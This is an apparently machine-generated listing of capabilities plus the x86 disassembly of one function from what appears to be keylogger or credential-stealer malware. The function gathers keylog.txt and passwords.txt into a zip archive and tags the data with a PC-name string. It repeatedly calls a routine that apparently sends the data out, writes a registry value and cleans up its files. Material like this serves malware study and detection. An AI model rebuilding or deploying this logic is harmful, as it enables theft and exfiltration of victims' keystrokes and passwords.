Function at 0x10009350
Capabilities:
Check if file exists
Copy file
Create directory
Delete directory
Delete file
Get common file path
Set current directory
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
push ebx
push esi
push edi
xor esi, esi
push 0x1001f924
mov dword [ebp - 4], esi
mov dword [ebp - 8], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x530]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [ebp + 8]
push ecx
push 0x1001fdd0
push 0x1001c294
lea edx, [ebp - 0x218]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push esi
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x100093c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x100097bd
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov eax, dword [ebp + 0xc]
mov ecx, str.DEBUG
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10009400
test dl, dl
je 0x100093fc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10009400
add eax, 2
add ecx, 2
test dl, dl
jne 0x100093e0
xor eax, eax
jmp 0x10009405
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, esi
je 0x10009414
lea eax, [ebp - 0x218]
call fcn.10003950
xor eax, eax
jmp 0x10009420
mov cl, byte [ebp + eax - 0x218]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x10009420
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
lea edx, [ebp - 0x110]
push edx
call ebx
lea eax, [ebp - 0x110]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10009450
mov ecx, dword [str.keylog.txt]
mov edx, dword [0x1001c2a0]
mov dword [eax], ecx
mov cx, word [0x1001c2a4]
mov dword [eax + 4], edx
mov dl, byte [0x1001c2a6]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [ebp - 0x428]
push eax
push esi
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea ecx, [ebp - 0x428]
push ecx
call ebx
mov eax, 0x10020790
mov ecx, eax
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100094a0
lea edi, [ebp - 0x428]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100094b2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
push 0
mov ecx, eax
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x428]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
mov cl, byte [ebp + eax - 0x218]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x100094e0
lea ecx, [ebp - 0x110]
push ecx
call ebx
lea eax, [ebp - 0x110]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10009503
mov edx, dword [str.passwords.txt]
mov ecx, dword [0x1001c2ac]
mov dword [eax], edx
mov edx, dword [0x1001c2b0]
mov dword [eax + 4], ecx
mov cx, word [0x1001c2b4]
mov dword [eax + 8], edx
lea edx, [ebp - 0x110]
push edx
mov word [eax + 0xc], cx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x1000954e
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
je 0x10009579
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0xc]
mov ecx, str.DEBUG
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100095a1
test dl, dl
je 0x1000959d
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100095a1
add eax, 2
add ecx, 2
test dl, dl
jne 0x10009581
xor eax, eax
jmp 0x100095a6
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100095b7
lea edx, [ebp - 0x428]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x1001fdd0
push str._s_u.zip
lea eax, [ebp - 0x320]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
push 4
push 0x3000
push 0x104
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x100097bd
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [ebp - 0x320]
push edx
call fcn.1001a750
mov ebx, eax
test ebx, ebx
je 0x1000962e
push 0
push esi
push ebx
call fcn.1001a8d0
call fcn.1001a850
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
lea eax, [ebp - 0x218]
push eax
call fcn.10004120
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea edx, [ebp - 0x320]
push edx
call fcn.10004370
mov dword [ebp - 4], eax
test eax, eax
je 0x100097bd
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009670
sub eax, edx
lea edi, [eax + 0x30c]
xor ebx, ebx
test edi, edi
je 0x100096ad
lea esi, [edi + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x100096ad
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], ebx
test ebx, ebx
je 0x100097bd
push 1
call fcn.10001b10
push eax
mov eax, dword [ebp + 0xc]
push eax
push str.pcname_s__sfile
push edi
push ebx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, dword [ebp - 4]
add esp, 0x14
mov esi, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100096e0
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100096f0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
mov eax, ebx
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10009710
sub eax, edx
push eax
push ebx
call fcn.10009240
test eax, eax
jne 0x1000972a
inc esi
cmp esi, 5
jl 0x10009708
mov eax, dword [ebp + 0xc]
mov ecx, str.DEBUG
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10009752
test dl, dl
je 0x1000974e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10009752
add eax, 2
add ecx, 2
test dl, dl
jne 0x10009732
xor eax, eax
jmp 0x10009757
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100097bd
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [ebp + 0xc]
push ecx
push 0x102
push 0
push str.SoftwareMicrosoft
push esi
mov dword [ebp + 8], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100097bd
push 4
lea edx, [ebp + 8]
push edx
push 4
push eax
mov eax, dword [ebp + 0xc]
push 0x1002068c
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x530]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x320]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x100097e8
lea edx, [ebp - 0x320]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_HeapValidate]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x10009817
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
test eax, eax
je 0x10009817
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call edi
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000983a
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call esi
test eax, eax
je 0x1000983a
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call edi
push 0x1001f924
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 8